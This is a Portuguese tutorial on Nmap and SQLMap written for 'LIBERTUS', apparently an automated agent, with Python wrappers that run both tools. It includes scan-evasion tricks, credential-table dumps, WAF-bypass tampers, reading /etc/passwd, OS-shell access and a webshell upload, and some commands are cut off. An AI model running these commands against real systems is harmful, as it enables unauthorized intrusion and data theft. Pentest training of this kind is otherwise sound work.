NMAP + SQLMAP

Guia Completo para o LIBERTUS

Reconhecimento, scanning, enumeração e injeção SQL — do básico ao avançado

PARTE 1 — NMAP

1.1 O que é o Nmap

Nmap (Network Mapper) é a ferramenta padrão de reconhecimento de redes. Usado por pentesters, administradores e o LIBERTUS para: - Descobrir hosts ativos na rede - Identificar portas abertas - Detectar serviços e versões - Identificar sistema operacional - Executar scripts de vulnerabilidade (NSE) IMPORTANTE: Use sempre em redes/sistemas que você tem autorização.

1.2 Sintaxe Básica

```
# Formato geral
nmap [opções] [alvo]

# Alvos válidos
nmap 192.168.1.1              # IP único
nmap 192.168.1.1-254          # range
nmap 192.168.1.0/24           # subnet CIDR
nmap scanme.nmap.org          # hostname
nmap 192.168.1.1 192.168.1.2  # múltiplos
nmap -iL alvos.txt            # lista de arquivo
```

1.3 Tipos de Scan

Cada tipo de scan tem um propósito e nível de detecção diferente.

```
# TCP SYN Scan (padrão, stealth, requer root)
nmap -sS 192.168.1.1

# TCP Connect Scan (sem root, mais detectável)
nmap -sT 192.168.1.1

# UDP Scan (mais lento, serviços como DNS/SNMP)
nmap -sU 192.168.1.1

# Combinado TCP + UDP
nmap -sS -sU 192.168.1.1

# Ping scan — só descobrir hosts ativos
nmap -sn 192.168.1.0/24

# Scan sem ping (assume host ativo)
nmap -Pn 192.168.1.1

# ACK Scan — detectar firewall/filtros
nmap -sA 192.168.1.1

# FIN/NULL/XMAS — bypass de alguns firewalls
nmap -sF 192.168.1.1   # FIN
nmap -sN 192.168.1.1   # NULL
nmap -sX 192.168.1.1   # XMAS
```

1.4 Especificar Portas

```
# Porta específica
nmap -p 80 192.168.1.1

# Múltiplas portas
nmap -p 80,443,8080,8443 192.168.1.1

# Range de portas
nmap -p 1-1000 192.168.1.1

# Top 100 portas mais comuns
nmap --top-ports 100 192.168.1.1

# Top 1000 (padrão)
nmap 192.168.1.1

# TODAS as 65535 portas
nmap -p- 192.168.1.1

# Portas comuns de pentest
nmap -p 21,22,23,25,53,80,110,139,143,443,445,3306,3389,5432,6379,8080,8443,27017 192.168.1.1
```

1.5 Detecção de Versão e OS

```
# Detectar versão dos serviços (-sV)
nmap -sV 192.168.1.1

# Intensidade da detecção (0-9, padrão 7)
nmap -sV --version-intensity 9 192.168.1.1

# Detectar sistema operacional (-O)
nmap -O 192.168.1.1

# Combinação completa
nmap -sV -O 192.168.1.1

# -A = sV + O + scripts + traceroute (tudo)
nmap -A 192.168.1.1

# Output de versão típico:
# 22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu
# 80/tcp  open  http    Apache httpd 2.4.52
# 443/tcp open  ssl/http nginx 1.18.0
# 3306/tcp open mysql   MySQL 8.0.32
```

1.6 Scripts NSE — Nmap Scripting Engine

NSE é o recurso mais poderoso do Nmap. Scripts automatizam detecção de vulnerabilidades, enumeração e exploração.

```
# Executar scripts padrão (safe)
nmap -sC 192.168.1.1

# Script específico
nmap --script=http-title 192.168.1.1
```

```
# Múltiplos scripts
nmap --script=http-title,http-headers 192.168.1.1

# Categoria de scripts
nmap --script=vuln 192.168.1.1        # vulnerabilidades
nmap --script=auth 192.168.1.1        # autenticação
nmap --script=exploit 192.168.1.1     # exploração
nmap --script=discovery 192.168.1.1   # descoberta
nmap --script=brute 192.168.1.1       # força bruta

# Scripts úteis por serviço
# HTTP
nmap --script=http-enum,http-methods,http-auth-finder 192.168.1.1 -p 80,443
nmap --script=http-sql-injection 192.168.1.1 -p 80

# SMB (Windows)
nmap --script=smb-vuln-ms17-010 192.168.1.1 -p 445  # EternalBlue
nmap --script=smb-enum-shares,smb-enum-users 192.168.1.1 -p 445

# SSH
nmap --script=ssh-brute 192.168.1.1 -p 22
nmap --script=ssh-auth-methods 192.168.1.1 -p 22

# MySQL
nmap --script=mysql-info,mysql-databases 192.168.1.1 -p 3306

# FTP
nmap --script=ftp-anon,ftp-bounce 192.168.1.1 -p 21

# SSL/TLS
nmap --script=ssl-enum-ciphers,ssl-heartbleed 192.168.1.1 -p 443
```

1.7 Velocidade e Evasão

```
# Timing templates (T0=paranóico, T5=insano)
nmap -T0 192.168.1.1  # muito lento, stealth máximo
nmap -T1 192.168.1.1  # lento
nmap -T2 192.168.1.1  # polido
nmap -T3 192.168.1.1  # normal (padrão)
nmap -T4 192.168.1.1  # agressivo (redes rápidas)
nmap -T5 192.168.1.1  # insano (pode perder resultados)

# Fragmentar pacotes (bypass firewall simples)
nmap -f 192.168.1.1

# Decoys — esconde IP real entre IPs falsos
nmap -D RND:10 192.168.1.1
nmap -D 192.168.1.5,192.168.1.6,ME 192.168.1.1

# Spoof source IP (requer root)
nmap -S 192.168.1.100 192.168.1.1

# Randomizar ordem dos hosts
nmap --randomize-hosts 192.168.1.0/24

# Delay entre probes
nmap --scan-delay 1s 192.168.1.1
```

1.8 Outputs e Formatos

```
# Normal (padrão)
nmap 192.168.1.1

# Output para arquivo texto
nmap -oN resultado.txt 192.168.1.1

# XML (para parsear com Python)
nmap -oX resultado.xml 192.168.1.1

# Greppable
nmap -oG resultado.gnmap 192.168.1.1

# Todos os formatos
nmap -oA resultado 192.168.1.1
# Cria: resultado.nmap, resultado.xml, resultado.gnmap

# Verboso
nmap -v 192.168.1.1
nmap -vv 192.168.1.1  # mais verboso
```

1.9 Como Interpretar Resultados

Entender o output do Nmap é tão importante quanto saber os flags.

```
# Exemplo de output completo:
# Nmap scan report for 192.168.1.100
# Host is up (0.0021s latency).
# Not shown: 992 closed tcp ports (reset)
# PORT     STATE    SERVICE    VERSION
# 22/tcp   open     ssh        OpenSSH 8.9p1
# 80/tcp   open     http       Apache 2.4.52
# 443/tcp  open     ssl/http   nginx 1.18.0
# 3306/tcp filtered mysql
# 8080/tcp open     http       Jetty 9.4.44

# ESTADOS DAS PORTAS:
# open     = porta aceitando conexões (ALVO PRINCIPAL)
# closed   = porta acessível mas sem serviço
# filtered = firewall bloqueando (não sabe se open/closed)
# open|filtered = não conseguiu determinar

# O QUE PROCURAR:
# 21  FTP   → tentar anônimo, versões antigas vulneráveis
# 22  SSH   → versão, força bruta se senha fraca
# 23  Telnet → sem criptografia, captura de credenciais
# 25  SMTP  → relay aberto, enumeração de usuários
# 80/443 HTTP/S → aplicação web, mais superfície de ataque
# 445 SMB  → EternalBlue, pass-the-hash, shares
# 3306 MySQL → acesso direto ao banco, credenciais padrão
# 3389 RDP → força bruta, BlueKeep
# 6379 Redis → sem auth por padrão, execução de código
# 27017 MongoDB → sem auth por padrão, dados expostos
```

1.10 Nmap com Python (subprocess)

```
import subprocess
import json
import re

def nmap_scan(alvo: str, flags: list = None) -> dict:
    """Executa nmap e retorna resultado estruturado"""
    cmd = ["nmap"] + (flags or ["-sV", "--top-ports", "100"]) + [alvo]

    resultado = subprocess.run(
        cmd,
        capture_output=True,
        text=True,
        timeout=300
    )

    return {
        "alvo": alvo,
        "comando": " ".join(cmd),
        "output": resultado.stdout,
        "erro": resultado.stderr,
        "codigo": resultado.returncode
    }

def extrair_portas(output_nmap: str) -> list:
    """Extrai portas abertas do output do nmap"""
    portas = []
    padrao = re.compile(
        r'(\d+)/(tcp|udp)\s+(open|filtered)\s+(\S+)(?:\s+(.+))?'
    )
    for linha in output_nmap.splitlines():
        m = padrao.search(linha)
        if m:
            portas.append({
                "porta": int(m.group(1)),
                "protocolo": m.group(2),
                "estado": m.group(3),
                "servico": m.group(4),
                "versao": (m.group(5) or "").strip()
            })
    return portas

# Uso pelo LIBERTUS
resultado = nmap_scan("192.168.1.1", ["-sV", "-sC", "-p", "80,443,22,3306"])
portas = extrair_portas(resultado["output"])
for p in portas:
    print(f"[{p['porta']}/{p['protocolo']}] {p['servico']} — {p['versao']}")
```

PARTE 2 — SQLMAP

2.1 O que é o SQLMap

SQLMap é a ferramenta de detecção e exploração de SQL Injection mais completa do mundo. Automatiza todo o processo: - Detectar parâmetros vulneráveis - Identificar o banco de dados (MySQL, PostgreSQL, SQLite, MSSQL, Oracle) - Extrair bancos, tabelas, colunas e dados - Bypass de WAF e filtros - Execução de comandos no servidor (se DBA)

2.2 Uso Básico

```
# Testar URL com parâmetro GET
sqlmap -u "http://alvo.com/page?id=1"

# Testar parâmetro POST
sqlmap -u "http://alvo.com/login" --data="user=admin&pass=123"

# Testar com cookie de sessão
sqlmap -u "http://alvo.com/page?id=1" --cookie="PHPSESSID=abc123"

# Testar com header customizado
sqlmap -u "http://alvo.com/api" -H "Authorization: Bearer token123"

# Testar parâmetro específico
sqlmap -u "http://alvo.com/page?id=1&cat=2" -p id

# Testar requisição salva de Burp Suite
sqlmap -r request.txt
```

2.3 Enumeração de Banco de Dados

```
# Listar bancos de dados disponíveis
sqlmap -u "http://alvo.com/page?id=1" --dbs

# Banco atual
sqlmap -u "http://alvo.com/page?id=1" --current-db

# Usuário atual do banco
sqlmap -u "http://alvo.com/page?id=1" --current-user

# Listar tabelas de um banco
sqlmap -u "http://alvo.com/page?id=1" -D nome_banco --tables

# Listar colunas de uma tabela
sqlmap -u "http://alvo.com/page?id=1" -D nome_banco -T usuarios --columns

# Extrair dados de uma tabela
sqlmap -u "http://alvo.com/page?id=1" -D nome_banco -T usuarios --dump

# Extrair colunas específicas
sqlmap -u "http://alvo.com/page?id=1" -D nome_banco -T usuarios -C "nome,email,senha" --dump

# Dump de todo o banco
sqlmap -u "http://alvo.com/page?id=1" -D nome_banco --dump-all
```

2.4 Técnicas de Injeção

SQLMap suporta 6 técnicas de injeção. Cada uma funciona em contextos diferentes.

```
# B = Boolean-based blind
# E = Error-based
# U = Union query-based
# S = Stacked queries
# T = Time-based blind
# Q = Inline queries

# Usar técnica específica
sqlmap -u "http://alvo.com/page?id=1" --technique=B
sqlmap -u "http://alvo.com/page?id=1" --technique=BEU
sqlmap -u "http://alvo.com/page?id=1" --technique=T  # mais lento, stealth

# Level e Risk (padrão: level=1, risk=1)
# Level 1-5: quanto mais alto, mais payloads testa
# Risk 1-3: quanto mais alto, mais agressivo (pode alterar dados)
sqlmap -u "http://alvo.com/page?id=1" --level=5 --risk=3

# DBMS específico (mais rápido quando sabe qual é)
sqlmap -u "http://alvo.com/page?id=1" --dbms=mysql
sqlmap -u "http://alvo.com/page?id=1" --dbms=postgresql
sqlmap -u "http://alvo.com/page?id=1" --dbms=mssql
```

2.5 Bypass de WAF e Filtros

WAF (Web Application Firewall) tenta bloquear payloads de SQLi. SQLMap tem tampers (modificadores) para bypass.

```
# Tampers disponíveis
sqlmap -u "http://alvo.com/page?id=1" --tamper=space2comment
sqlmap -u "http://alvo.com/page?id=1" --tamper=between
sqlmap -u "http://alvo.com/page?id=1" --tamper=randomcase

# Combinação de tampers (mais poderoso)
sqlmap -u "http://alvo.com/page?id=1" --tamper=space2comment,between,randomcase

# Tampers mais úteis:
# space2comment    — substitui espaço por /**/
# between          — usa BETWEEN ao invés de > e <
# randomcase       — aleatoriza maiúsculas/minúsculas
# charencode       — codifica caracteres em URL encoding
# base64encode     — codifica em base64
# equaltolike      — substitui = por LIKE
# greatest         — substitui > por GREATEST()
# ifnull2ifisnull  — substitui IFNULL por IF(ISNULL())
# multiplespaces   — adiciona espaços múltiplos
# nonrecursivereplacement — substituição não recursiva

# Detectar WAF
sqlmap -u "http://alvo.com/page?id=1" --identify-waf

# Delay entre requisições (menos detecção)
sqlmap -u "http://alvo.com/page?id=1" --delay=2
```

```
# Randomizar user-agent
sqlmap -u "http://alvo.com/page?id=1" --random-agent

# Proxy (ex: Burp Suite)
sqlmap -u "http://alvo.com/page?id=1" --proxy="http://127.0.0.1:8080"
```

2.6 Execução de Comandos no SO

Se o usuário do banco tem privilégios de DBA, SQLMap pode executar comandos no sistema operacional — escalada de acesso total.

```
# Verificar se é DBA
sqlmap -u "http://alvo.com/page?id=1" --is-dba

# Executar comando no SO (MySQL com FILE privilege)
sqlmap -u "http://alvo.com/page?id=1" --os-cmd="whoami"
sqlmap -u "http://alvo.com/page?id=1" --os-cmd="id"

# Shell interativo no SO
sqlmap -u "http://alvo.com/page?id=1" --os-shell

# Shell SQL interativo
sqlmap -u "http://alvo.com/page?id=1" --sql-shell

# Ler arquivo do servidor
sqlmap -u "http://alvo.com/page?id=1" --file-read="/etc/passwd"
sqlmap -u "http://alvo.com/page?id=1" --file-read="/var/www/html/config.php"

# Escrever arquivo no servidor (webshell)
sqlmap -u "http://alvo.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
```

2.7 Flags Essenciais

```
# Mais usados no dia a dia
sqlmap -u URL           # alvo
     --dbs              # listar bancos
     --tables           # listar tabelas
     --columns          # listar colunas
     --dump             # extrair dados
     --batch            # não perguntar (usa padrões)
     --level=5          # mais payloads
     --risk=3           # mais agressivo
     --threads=10       # paralelo (mais rápido)
     --timeout=30       # timeout por requisição
     --retries=3        # tentativas em caso de falha
     --random-agent     # user-agent aleatório
     --tamper=X         # bypass WAF
     --dbms=mysql       # forçar DBMS
     --technique=BEU    # técnicas específicas
     --output-dir=./out # salvar resultados

# Combo recomendado para pentest real
sqlmap -u "http://alvo.com/page?id=1"     --batch     --level=3     --risk=2     --random-agent     --threads=
```

2.8 SQLMap com Python

```
import subprocess
import os

def sqlmap_scan(url: str, params: dict = None) -> dict:
    """Executa sqlmap e retorna resultado"""

    flags = params or {}
    cmd = ["sqlmap", "-u", url, "--batch", "--random-agent"]

    if flags.get("dbs"):
        cmd.append("--dbs")
    if flags.get("dump"):
        cmd += ["-D", flags["db"], "-T", flags["table"], "--dump"]
    if flags.get("level"):
        cmd += [f"--level={flags['level']}"]
    if flags.get("tamper"):
        cmd += [f"--tamper={flags['tamper']}"]
    if flags.get("dbms"):
        cmd += [f"--dbms={flags['dbms']}"]

    output_dir = f"/tmp/sqlmap_{hash(url) % 9999}"
    cmd += ["--output-dir", output_dir]

    resultado = subprocess.run(
        cmd,
        capture_output=True,
        text=True,
        timeout=300
    )

    return {
        "url": url,
        "vulneravel": "is vulnerable" in resultado.stdout,
        "output": resultado.stdout[-3000:],  # últimas 3000 chars
        "output_dir": output_dir,
        "codigo": resultado.returncode
    }

# Uso pelo LIBERTUS
r = sqlmap_scan(
    "http://testphp.vulnweb.com/artists.php?artist=1",
    {"dbs": True, "level": 3}
)
print("Vulnerável:", r["vulneravel"])
print(r["output"])
```

2.9 Targets de Prática Legal

Use SEMPRE em alvos que você tem autorização. Alvos legais para prática:

```
# ALVOS LEGAIS PARA PRÁTICA:

# 1. DVWA (instalar local)
# sudo apt install dvwa
# http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

# 2. WebGoat (OWASP)
# docker run -p 8080:8080 webgoat/goat-and-wolf
```

```
# 3. HackTheBox (https://hackthebox.com) — plataforma de CTF
# 4. TryHackMe (https://tryhackme.com) — guiado
# 5. VulnHub (https://vulnhub.com) — VMs vulneráveis

# SQLMap no DVWA (nível baixo)
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"     --cookie="PHPSESSID=SEU_COOKIE

# SQLMap no DVWA (extrair usuários)
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"     --cookie="PHPSESSID=SEU_COOKIE
```